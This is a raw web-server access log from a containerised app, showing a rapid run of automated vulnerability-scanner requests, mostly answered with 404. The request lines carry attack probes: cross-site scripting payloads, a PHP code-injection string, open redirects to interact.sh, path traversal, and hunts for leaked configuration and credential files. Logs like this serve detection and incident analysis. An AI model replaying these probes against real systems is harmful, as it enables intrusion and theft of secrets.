app-1 | 2026-11-02T00:41:36.495166751Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET / HTTP/1.1" 302 1366 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.500970376Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /.m2/settings.xml HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.522657918Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 302 1362 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.525732460Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php HTTP/1.1" 404 6802 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.526364085Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf HTTP/1.1" 404 6804 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.528754501Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /telaen/redir.php?https://interact.sh HTTP/1.1" 404 6823 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.537804960Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /jobs/?\"'><script>alert(document.domain)</script> HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36"
app-1 | 2026-11-02T00:41:36.543709793Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /jobs/?\"'><script>alert(document.domain)</script> HTTP/1.1" 404 6813 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.556858626Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27 HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:140.0) Gecko/20100101 Firefox/140.0"
app-1 | 2026-11-02T00:41:36.558021668Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /login?next=\\\\\\interact.sh HTTP/1.1" 200 8529 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25"
app-1 | 2026-11-02T00:41:36.559268543Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.4"
app-1 | 2026-11-02T00:41:36.561759501Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /login?next=\\\\\\interact.sh HTTP/1.1" 200 8536 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.563055210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 302 1356 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0"
app-1 | 2026-11-02T00:41:36.566185710Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cb_install/ HTTP/1.1" 404 6796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0"
app-1 | 2026-11-02T00:41:36.577883085Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
app-1 | 2026-11-02T00:41:36.578534376Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /redir.php?https://interact.sh HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
app-1 | 2026-11-02T00:41:36.580406043Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /metrics/threads HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.8"
app-1 | 2026-11-02T00:41:36.584303960Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /system/download?download-url=/_a7/p49dm7f4qjyt/output/&name=exam.pdf HTTP/1.1" 404 6794 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.585421251Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cb_install/ HTTP/1.1" 404 6798 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527+ (KHTML, like Gecko) Version/3.1.1 Safari/525.20"
app-1 | 2026-11-02T00:41:36.602325210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.old HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14"
app-1 | 2026-11-02T00:41:36.606025126Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cgi-bin/nagios4/status.cgi HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.13"
app-1 | 2026-11-02T00:41:36.606939835Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /telaen/redir.php?https://interact.sh HTTP/1.1" 404 6800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.4 (x64 de)"
app-1 | 2026-11-02T00:41:36.618946210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.620752293Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27 HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0"
app-1 | 2026-11-02T00:41:36.631405835Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.old HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.637650877Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /metrics/threads HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"
app-1 | 2026-11-02T00:41:36.639202085Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.639924502Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /conf/settings.xml HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.14"
app-1 | 2026-11-02T00:41:36.644808168Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cgi-bin/nagios4/status.cgi HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0"
app-1 | 2026-11-02T00:41:36.679931127Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.679957210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /conf/settings.xml HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.679959793Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cgi-bin/nagios3/status.cgi HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.679961210Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /redir.php?https://interact.sh HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0"
app-1 | 2026-11-02T00:41:36.702662918Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /cgi-bin/nagios3/status.cgi HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.721023877Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.727724710Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.732517710Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.orig HTTP/1.1" 404 6117 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15"
app-1 | 2026-11-02T00:41:36.735413668Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.orig HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.778673043Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.save HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:36.812483002Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.save HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36"
app-1 | 2026-11-02T00:41:36.827238377Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.swp HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0"
app-1 | 2026-11-02T00:41:36.867968460Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.php.swp HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0"
app-1 | 2026-11-02T00:41:36.874527335Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.local.php HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15"
app-1 | 2026-11-02T00:41:36.902580043Z 192.168.65.225 - - [02/Nov/2026:00:41:36 +0000] "GET /sites/default/settings.local.php HTTP/1.1" 404 6098 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
app-1 | 2026-11-02T00:41:36.980788918Z 192.168.65.225 - admin [02/Nov/2026:00:41:34 +0000] "GET /system/console?.css HTTP/1.1" 401 1526 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
app-1 | 2026-11-02T00:41:36.988687043Z 192.168.65.225 - admin [02/Nov/2026:00:41:34 +0000] "GET /system/console?.css HTTP/1.1" 401 1524 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
app-1 | 2026-11-02T00:41:37.284425377Z 127.0.0.1 - - [02/Nov/2026:00:41:37 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)"
app-1 | 2026-11-02T00:41:38.289713169Z 127.0.0.1 - - [02/Nov/2026:00:41:38 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)"
app-1 | 2026-11-02T00:41:39.290610253Z 127.0.0.1 - - [02/Nov/2026:00:41:39 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)" 
